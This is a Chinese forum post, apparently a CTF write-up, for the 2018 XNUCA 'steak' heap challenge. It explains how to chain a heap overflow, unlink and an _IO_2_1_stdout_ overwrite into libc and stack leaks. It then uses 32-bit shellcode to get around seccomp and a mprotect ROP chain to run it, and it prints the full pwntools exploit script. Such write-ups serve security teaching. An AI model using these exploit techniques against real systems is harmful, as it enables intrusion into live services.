首页
论坛
课程
招聘
[原创]2018-XNUCA-steak
2019-2-20 18:46 6855

[原创]2018-XNUCA-steak

2019-2-20 18:46
6855
2019开始了,寒假也要结束了,祝大家在新的一年能够继续爱与被爱。

最近复现steak的时候发现网上的wp并不是很多,不忘初心,写一篇稍微详细些的wp。

题目漏洞:
逻辑还是比较清楚的,我在下面的附件里面已经做好了标注了就不展开讲了,直接交代漏洞情况。
1.delete操作的时候,存在uaf漏洞

2.add功能在chunk内输入信息的时候没有'\x00'结尾

3.edit操作的时候存在任意长度的溢出,可以用来构造overlapped chunk。


漏洞明显的题目,利用起来总会有卡主的地方,这题就是缺少leak函数。

突破点,我们可以控制_IO_2_1_stdout_的write_base、write_ptr等信息,利用puts函数泄露libc以及stack信息。

利用思路:
1.利用edit功能溢出构成unlink,向前合并,使得global_node结构指向其前面三个内存单元处,从而就可以控制global_node结构进行任意地址写。
2.利用copy功能,将global_node结构中的信息覆盖为_IO_2_1_stdout的地址,从而就可以控制_IO_2_1_stdout_的结构。
3.修改结构信息,泄露libc、stack信息。
4.因为开启了seccomp,所以对函数进行了一定的限制,我们通过seccomp-tools查看可以看到限制了fork函数,因此system、execve函数就不能够调用了,并且限制了open函数,那么好像读取flag操作也不能?仔细看一下,只是限制了64位的open函数,并没有限制32位的open,因此32位的shellcode还可以绕过。
5.所以我们知道了libc、stack信息之后,可以通过mprotect函数更改bss段权限,向bss段中写入shellcode,后面覆盖stack,控制程序流。

这篇文章的重点是分析以下两点,在wp中被师傅们一笔带过的事情:
1._IO_2_1_stdout_的结构信息伪造成什么样的,flag限制具体通过什么得到的。
2.shellcode编写的两种方式。

利用分析:

首先是通过缓冲区溢出构造fake_chunk,并且free chunk ,触发unlink,使得global_node指向其前面三个内存单元处,从而可以控制global_node的信息,达成任意地址写。
	add(0x80,'\x01')#0
	add(0x80,'\x02')#1
	add(0x80,'\x03')#2

	payload = p64(0)+p64(0x81)+p64(node-0x18)+p64(node-0x10)
	payload = payload.ljust(0x80,'\x00')
	payload += p64(0x80)+p64(0x90)
	edit(0,0x90,payload) #make fake chunk

	delete(1)# trigger unlink , make node[0] point to node[0]-0x18

然后是将_IO_2_1_stdout的地址信息写到global_node中,这样我们后面就可以更改_IO_2_1_stdout_的结构信息了:
	payload2 = "a"*0x18+p64(node)*2+p64(bss_stdout)+p64(0x602000)#node[0]/node[1] = node[0] , node[2]=bss_stdout , node[3]=bss_addr(prepared for the mprotect)
	edit(0,0x38,payload2)

	copy(2,1,8) # make node[0] point to bss_stdout.

但是我们能够控制stdout的结构信息之后具体是如何进行控制呢?把每个字段改成什么呢?
这就需要审计linux 函数的源代码了。
这道题目我们利用的是puts函数来泄露信息,所以我们需要审计的是puts函数的源代码。可以看一下这位师傅的文章,写的比较清楚了,但是想真正的明白还是需要自己去动手试一下。
简单来说,puts函数最终的调用流程是puts-> _IO_new_file_xsputn->_IO_OVERFLOW->_IO_new_file_overflow->_IO_do_write->new_do_write->_IO_SYSWRITE  ,  其中当然要通过许多限制,因此我们的flag要设置成对应的值才能成功利用。
最终调用的函数是
        _IO_SYSWRITE (fp, data, to_do)
其中data = _IO_write_base是输出信息的起始地址,to_do = _IO_write_ptr -   _IO_write_base,是输出信息的长度。
这道题目的flag限制要设置成0xfbad3887,因为时间原因我也还没去看源代码,以后回去看下,具体原因如果有师傅跟踪出来了,希望师傅能够评论或者私信告诉我一下。

修改_IO_2_1_stdout_的结构信息,泄露libc
        #leak libc
	payload3 = p64(0xfbad3887) + "\x00"*24 + "\x40"
	edit(0,len(payload),payload3)
	libc = uu64(ru('add')[1:9])
	lg('libc',libc)

	libc_base = libc - 0x3c5640
	mprotect_addr = libc_base + ctx.libc.symbols['mprotect']
	environ_addr = libc_base + ctx.libc.symbols['environ']
	lg('libc_base',libc_base)
	lg('mprotect_addr',mprotect_addr)
	lg('environ_addr',environ_addr)

因为开启了seccomp禁用了fork不能够调用getshell,因此我们选择通过32位的shellcode读取flag。
我们采用覆盖栈的信息(libc_main_ret)控制程序流。

因为environ函数指向了栈地址,因此我们可以通过这个函数来泄露栈信息。
两种方法:
方法一:仍然通过修改_IO_2_1_stdout的结构信息来泄露stack信息。
方法二:将free_hook覆盖为puts,然后free environ泄露stack信息。
我采用的方法是方法一:
	#leak stack
	payload4 = p64(0xfbad3887) + "\x00"*24 + p64(environ_addr) + p64(environ_addr+0x10)
	edit(0,len(payload4),payload4)
	stack_addr = uu64(ru('add')[1:9])
	lg('stack_addr',stack_addr)

下面就是分析的另一个重点,shellcode编写的两种姿势,具体如下,不复杂,也没有太多需要解释的,参考了这位师傅的文章:
        #write shellcode in two ways.
	x86_shellcode_1 = asm("mov eax, 0x5; mov ebx,0x602600; mov ecx,0; int 0x80; mov ebx,eax; mov eax,3; mov ecx,0x602700; mov edx,0x40; int 0x80; mov eax,4; mov ebx,1; mov ecx, 0x602700; mov edx,0x40; int 0x80",arch = 'i386',os = 'linux')
	
	'''
	x86_shellcode_2 = ""
	x86_shellcode_2 += shellcraft.i386.syscall("SYS_open",0x602600,'O_RDONLY', 0)
	x86_shellcode_2 += shellcraft.i386.syscall("SYS_read","eax",0x602700,0x40)
	x86_shellcode_2 += shellcraft.i386.syscall("SYS_write",1,0x602700,0x40)
	x86_shellcode_2 = asm(x86_shellcode_2,arch='i386',os='linux')
	'''
	ascii = [106, 1, 254, 12, 36, 104, 102, 108, 97, 103, 106, 5, 88, 187, 255, 217, 159, 255, 247, 211, 49, 201, 153, 205, 128, 137, 195, 106, 3, 88, 185, 255, 216, 159, 255, 247, 209, 106, 64, 90, 205, 128, 106, 4, 88, 106, 1, 91, 185, 255, 216, 159, 255, 247, 209, 106, 64, 90, 205, 128]
	x86_shellcode_2 = ""
	for i in range(len(ascii)):
		x86_shellcode_2 += chr(ascii[i])	
一种方法就是直接写汇编,还有一种方法就是利用shellcraft来写。但是这道题目因为是64位脚本中编译32位的shellcode,调用asm函数的时候总是报错,因此我单独写了个脚本拿到shellcode来用的,这两种shellcode都可以读取到flag。
单独脚本如下:
        from pwn import*
        
        x86_shellcode_2 = ""
        x86_shellcode_2 += shellcraft.i386.syscall("SYS_open",0x602600,'O_RDONLY', 0)
        x86_shellcode_2 += shellcraft.i386.syscall("SYS_read","eax",0x602700,0x40)
        x86_shellcode_2 += shellcraft.i386.syscall("SYS_write",1,0x602700,0x40)
        x86_shellcode_2 = asm(x86_shellcode_2,arch='i386',os='linux')
        
        print hexdump(x86_shellcode_2)
        
        ascii = [i for i in range(len(x86_shellcode_2))]
        
        for i in range(len(x86_shellcode_2)):
        	ascii[i] = ord(x86_shellcode_2[i])
        
        print ascii

下面就是构造rop链,更改bss段权限,将shellcode写到bss段,覆盖stack信息控制程序流了。
        #write 'flag' on 0x602600
	edit(1,8,p64(0x602600))
	edit(0,4,'flag')

	#write x86_shellcode_1/x86_shellcode_2 on 0x602500
	edit(1,8,p64(0x602500))
	edit(0,len(x86_shellcode_1),x86_shellcode_1) # or:	 edit(0,len(x86_shellcode_2),x86_shellcode_2)   They all work.
	
	#write payload on the stack.
	libc_main_ret_stack_addr = stack_addr -0xf0
	payload5 = p64(pop_rdi) + p64(0x602000) + p64(pop_rsi_r15) + p64(0x1000) + p64(0) + p64(pop_rdx) + p64(7) + p64(mprotect_addr) # mprotect(0x602000,0x1000,7)
	payload5 += p64(0x602500) # ret to shellcode
	edit(1,8,p64(libc_main_ret_stack_addr))
	edit(0,len(payload5),payload5)

	#ctx.debug()
	#quit, and ret to shellcode.
	ru('>')
	sl('0')	


完整exp:
#!usr/bin/env python
# -*- coding:utf-8 -*-
#from libformatstr import *
from PwnContext.core import *
if __name__ == '__main__':

	#-----function for quick script-----#
	s       = lambda data               :ctx.send(str(data))        #in case that data is a int
	sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
	st      = lambda delim,data         :ctx.sendthen(str(delim), str(data)) 
	sl      = lambda data               :ctx.sendline(str(data)) 
	sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
	r       = lambda numb=4096          :ctx.recv(numb)
	ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
	irt     = lambda                    :ctx.interactive()
    
	rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
	leak    = lambda address, count=0   :ctx.leak(address, count)
	
    
	uu32    = lambda data   :u32(data.ljust(4, '\0'))
	uu64    = lambda data   :u64(data.ljust(8, '\0'))

	debugg = 1
	logg = 0

	TEST_BIN = './steak'
	TEST_LIB = '/lib/x86_64-linux-gnu/libc-2.23.so'

	ctx.binary = TEST_BIN
	ctx.remote_libc = TEST_LIB
	ctx.debug_remote_libc = False # this is by default

	ctx.remote = ("127.0.0.1",10086)
	
	if debugg:
		rs()
	else:
		rs(method = 'remote')


	if logg:
		context(log_level = "debug",os = "linux")
		context.terminal = ["gnome-terminal","-x","sh","-c"]

	def lg(s,addr):
		print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
    
	ctx.symbols = {'sym':0x400BDB,'node':0x6021A0,}
	#ctx.debug()



	bss_stdout = 0x602180
	node = 0x6021A0

	def add(size,content):
		ru('>')
		sl('1')
		ru('size:')
		sl(str(size))
		ru('buf:')
		s(content)

	def delete(idx):
		ru('>')
		sl('2')
		ru('index:')
		sl(str(idx))

	def edit(idx,size,content):
		ru('>')
		sl('3')
		ru('index:')
		sl(str(idx))
		ru('size:')
		sl(str(size))
		ru('buf:')
		s(content)

	def copy(idx_src,idx_dst,length):
		ru('>')
		sl('4')
		ru('source index:')
		sl(str(idx_src))
		ru('dest index:')
		sl(str(idx_dst))
		ru('length:')
		sl(str(length))

	add(0x80,'\x01')#0
	add(0x80,'\x02')#1
	add(0x80,'\x03')#2

	payload = p64(0)+p64(0x81)+p64(node-0x18)+p64(node-0x10)
	payload = payload.ljust(0x80,'\x00')
	payload += p64(0x80)+p64(0x90)
	edit(0,0x90,payload) #make fake chunk

	delete(1)# trigger unlink , make node[0] point to node[0]-0x18

	payload2 = "a"*0x18+p64(node)*2+p64(bss_stdout)+p64(0x602000)#node[0]/node[1] = node[0] , node[2]=bss_stdout , node[3]=bss_addr(prepared for the mprotect)
	edit(0,0x38,payload2)

	copy(2,1,8) # make node[0] point to bss_stdout.

	#leak libc
	payload3 = p64(0xfbad3887) + "\x00"*24 + "\x40"
	edit(0,len(payload),payload3)
	libc = uu64(ru('add')[1:9])
	lg('libc',libc)

	libc_base = libc - 0x3c5640
	mprotect_addr = libc_base + ctx.libc.symbols['mprotect']
	environ_addr = libc_base + ctx.libc.symbols['environ']
	lg('libc_base',libc_base)
	lg('mprotect_addr',mprotect_addr)
	lg('environ_addr',environ_addr)

	#leak stack
	payload4 = p64(0xfbad3887) + "\x00"*24 + p64(environ_addr) + p64(environ_addr+0x10)
	edit(0,len(payload4),payload4)
	stack_addr = uu64(ru('add')[1:9])
	lg('stack_addr',stack_addr)

	pop_rdi = 0x400ca3
	pop_rsi_r15 = 0x400ca1
	pop_rdx = 0x1b92 + libc_base
	lg('pop_rdx',pop_rdx)
	
	#write shellcode in two ways.
	x86_shellcode_1 = asm("mov eax, 0x5; mov ebx,0x602600; mov ecx,0; int 0x80; mov ebx,eax; mov eax,3; mov ecx,0x602700; mov edx,0x40; int 0x80; mov eax,4; mov ebx,1; mov ecx, 0x602700; mov edx,0x40; int 0x80",arch = 'i386',os = 'linux')
	
	'''
	x86_shellcode_2 = ""
	x86_shellcode_2 += shellcraft.i386.syscall("SYS_open",0x602600,'O_RDONLY', 0)
	x86_shellcode_2 += shellcraft.i386.syscall("SYS_read","eax",0x602700,0x40)
	x86_shellcode_2 += shellcraft.i386.syscall("SYS_write",1,0x602700,0x40)
	x86_shellcode_2 = asm(x86_shellcode_2,arch='i386',os='linux')
	'''
	ascii = [106, 1, 254, 12, 36, 104, 102, 108, 97, 103, 106, 5, 88, 187, 255, 217, 159, 255, 247, 211, 49, 201, 153, 205, 128, 137, 195, 106, 3, 88, 185, 255, 216, 159, 255, 247, 209, 106, 64, 90, 205, 128, 106, 4, 88, 106, 1, 91, 185, 255, 216, 159, 255, 247, 209, 106, 64, 90, 205, 128]
	x86_shellcode_2 = ""
	for i in range(len(ascii)):
		x86_shellcode_2 += chr(ascii[i])	

	#write 'flag' on 0x602600
	edit(1,8,p64(0x602600))
	edit(0,4,'flag')

	#write x86_shellcode_1/x86_shellcode_2 on 0x602500
	edit(1,8,p64(0x602500))
	edit(0,len(x86_shellcode_1),x86_shellcode_1) # or:	 edit(0,len(x86_shellcode_2),x86_shellcode_2)   They all work.
	
	#write payload on the stack.
	libc_main_ret_stack_addr = stack_addr -0xf0
	payload5 = p64(pop_rdi) + p64(0x602000) + p64(pop_rsi_r15) + p64(0x1000) + p64(0) + p64(pop_rdx) + p64(7) + p64(mprotect_addr) # mprotect(0x602000,0x1000,7)
	payload5 += p64(0x602500) # ret to shellcode
	edit(1,8,p64(libc_main_ret_stack_addr))
	edit(0,len(payload5),payload5)

	#ctx.debug()
	#quit, and ret to shellcode.
	ru('>')
	sl('0')	
	   
	irt()


参考链接:


[公告]《CTF高级解混淆》训练营,国际顶尖CTF战队大牛亲自授课,助你快速成长!

最后于 2019-9-26 13:38 被iddm编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
打赏 + 5.00
打赏次数 1 金额 + 5.00
 
赞赏  Editor   +5.00 2019/02/21
最新回复 (4)
雪    币: 5111
活跃值: 活跃值 (6075)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2019-2-20 21:21
2
1
感谢分享!
雪    币: 3894
活跃值: 活跃值 (238)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
如斯咩咩咩 活跃值 2019-2-20 21:49
3
0
感谢大佬分享,膜拜下大牛
雪    币: 18
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ihhm 活跃值 2019-2-20 23:00
4
0
膜拜大佬
雪    币: 402
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DWwinter 活跃值 2019-2-21 08:56
5
0
ihhm 膜拜大佬[em_67]
游客
登录 | 注册 方可回帖
返回